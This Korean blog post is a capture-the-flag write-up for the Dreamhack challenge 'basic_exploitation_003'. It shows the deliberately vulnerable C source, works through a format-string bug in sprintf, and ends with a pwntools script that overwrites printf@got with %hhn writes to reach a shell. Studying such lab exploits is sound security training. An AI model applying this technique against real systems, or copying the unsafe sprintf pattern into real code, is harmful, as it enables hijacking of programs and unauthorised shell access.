e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • X86
  • wargame
  • Heap
  • x64
  • rev-basic
  • dreamhack.io
  • how2heap
  • 1-day
  • BOF
  • dvwa

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] basic_exploitation_003 - write up

2023. 1. 27. 14:21

Index

문제
보호기법 확인
basic_exploitation_003.c
문제 풀이
익스플로잇


basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/5/

문제

보호기법 확인

NX bit가 켜져있고, Partial RELRO이므로 GOT overwrite가 가능하다.

basic_exploitation_003.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};

    initialize();

    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);

    return 0;
}

get_shell함수를 보아 코드 흐름을 변경하여 이 함수가 실행되도록 해야할 것 같다.

int sprintf(char *buffer, const char *format-string, argument-list);

위 코드는 sprintf의 함수 원형이다. 3개의 인자가 사용되는 반면, 위 코드에서는 2개의 인자로 sprintf함수를 호출한다. 이 부분을 디버깅해보면서 문제를 풀어보자.

문제 풀이

먼저, 바이너리를 실행해보자.

입력된 AAAA의 주소 값이 바로 다음에 출력되는 것을 확인할 수 있다.

gdb로 sprintf함수와 printf함수에 breakpoint를 걸고 분석하자.

sprintf에서 인자로 AAAA %p %p %p %p %p가 들어간다.

continue로 printf함수 호출 전을 보자.

printf함수가 호출될 때 인자로 AAAA를 비롯한 주소 값들이 들어간다. 앞서 sprintf에서 포맷스트링버그가 발생하여 스택의 값을 반환했고, 이 전체를 printf함수에서 문자열로 출력해주는 것이다.

포맷스트링 버그가 발생하는 sprintf에서 다음에 실행되는 printf@got를 overwrite하여 printf함수 실행 시 get_shell함수가 실행되도록 하면 셸을 얻을 수 있다.

printf@got는 0x804a010이다.

get_shell함수의 주소는 0x8048669이다.

앞선 basic_exploitation_002문제에서는 2byte로 나누어 got overwrite를 했으나, 여기서는 heap 공간의 크기가 0x80이므로, 그 이상의 값을 쓸 수 없다. 그래서 1byte씩 입력을 해줄 것이고, 두개의 주소값이 0x804로 동일하기 때문에 2byte만 덮어쓰면 된다.

페이로드는 0x804a010 + 0x804a011 + %97c%1$hhn + %29c%2$hhn 가 된다.

%n를 통해 앞서 작성된 문자열의 길이로 값을 구성하는 것이기 때문에, 낮은 값부터 입력을 한다.

우리가 입력해야 할 값은 0x69와 0x86이므로, 0x69부터 입력을 한다.

앞에 주소값 8byte가 입력됐으므로, 0x61를 10진수로 하여 %97c를 입력해서 printf@got(1$)에 0x69값을 저장한다.

이후, 두번째 주소인 printf@got+1에 앞서 입력한 0x69 길이를 제외한 0x1d를 10진수로 하여 %29c를 입력해서 printf@got+1(2$)에 0x86 값을 저장한다.

또한 %n사이에 hh를 통해 1byte만 참조하도록 한다.

익스플로잇

from pwn import *

p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')
#p = remote('host3.dreamhack.games', 21144)

get_shell = 0x08048669
printf_got_addr1 = e.got['printf']
printf_got_addr2 = e.got['printf']+1

payload = p32(printf_got_addr1)
payload += p32(printf_got_addr2)
payload += b'%97c%1$hhn'
payload += b'%29c%2$hhn'

p.sendline(payload)

p.interactive()


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • [Dreamhack] uaf_overwrite - write up
    • [Dreamhack] ssp_001 - write up
    • [Dreamhack] basic_exploitation_002 - write up
    • [Dreamhack] hook - write up
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바